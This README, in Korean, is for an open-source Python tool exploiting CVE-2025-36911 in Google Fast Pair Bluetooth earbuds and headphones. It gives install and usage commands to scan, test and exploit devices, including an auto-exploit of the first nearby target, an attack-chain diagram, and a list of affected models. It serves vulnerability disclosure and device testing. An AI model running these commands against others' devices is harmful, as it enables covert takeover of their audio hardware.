
자체 장비 테스트를 위한 Python 기반 CVE-2025-36911 취약점 익스플로잇
자사 장비 테스트용 Python 기반 Fast Pair CVE-2025-36911 익스플로잇 도구
저자: Sébastien Dudek (@FlUxIuS) @ Penthertz
크레딧: 발견에 기여한 whisperpair.eu와 구현 시간을 단축시켜 준 @ZalexDev의 멋진 APK wpair-app
승인된 보안 연구 목적으로만 사용하세요. 소유한 기기에서만 테스트하십시오.
CVE-2025-36911은 수백만 개의 Bluetooth 오디오 기기에 구현된 Google Fast Pair에 영향을 줍니다.
정상 동작: 기기는 페어링 모드(버튼 누름, 케이스 열림 등)에서만 페어링 요청을 수락해야 합니다.
취약한 동작: 기기는 유휴 상태이거나 이미 페어링된 경우에도 언제든지 KBP(Key-Based Pairing) 요청을 수락합니다.
# Install
pip install bleak cryptography
git clone https://github.com/Penthertz/CVE-2025-36911-exploit.git
cd CVE-2025-36911-exploit
# Scan for targets
python3 whisperpair-cli.py scan
# Test if vulnerable
python3 whisperpair-cli.py test AA:BB:CC:DD:EE:FF
# Exploit
python3 whisperpair-cli.py exploit --quick
┌─────────────────────────────────────────────────────────────┐
│ ATTACKER VULNERABLE DEVICE │
│ │
│ 1. BLE Scan ─────────────────────► Fast Pair Advertisement │
│ (Find target) (Model ID visible) │
│ │
│ 2. Connect ──────────────────────► GATT Connection │
│ │
│ 3. KBP Request ──────────────────► Key-Based Pairing Char │
│ (Should be rejected ✗ NOT REJECTED! │
│ when not in pairing mode) (CVE-2025-36911) │
│ │
│ 4. Parse Response ◄────────────── BR/EDR Address │
│ │
│ 5. Write Account Key ────────────► Account Key Char │
│ (Persistent access) ✓ ACCEPTED │
│ │
│ 6. Classic BT Pair ──────────────► Audio Profiles (A2DP) │
│ (Game over) │
└─────────────────────────────────────────────────────────────┘
이 도구는 여러 전략을 자동으로 시도합니다:
취약점이 확인된 기기 (펌웨어 업데이트 확인):
| 명령어 | 설명 |
|---|
scan | Fast Pair 장치를 실시간 업데이트하며 스캔 |
scan -a | 모든 BLE 장치 스캔 |
info <addr> | GATT 서비스/특성 표시 |
test <addr> | 비침습적 취약점 확인 |
exploit <addr> | 전체 익스플로잇 체인 |
exploit -q | 자동 스캔 + 첫 번째 대상 익스플로잇 |
| 브랜드 | 모델 |
|---|
| Pixel Buds Pro 2 (Pixel 휴대폰으로 꽤 빨리 업데이트됨) | |
| Sony | WH-1000XM4, WH-1000XM5/XM6, LinkBuds S, WH-CH520 |
| JBL | JBL TUNE BEAM |
| Anker | Soundcore Liberty 4 NC |
| Jabra | Elite 8 Active |
| + 기타 다수 | whisperpair.eu |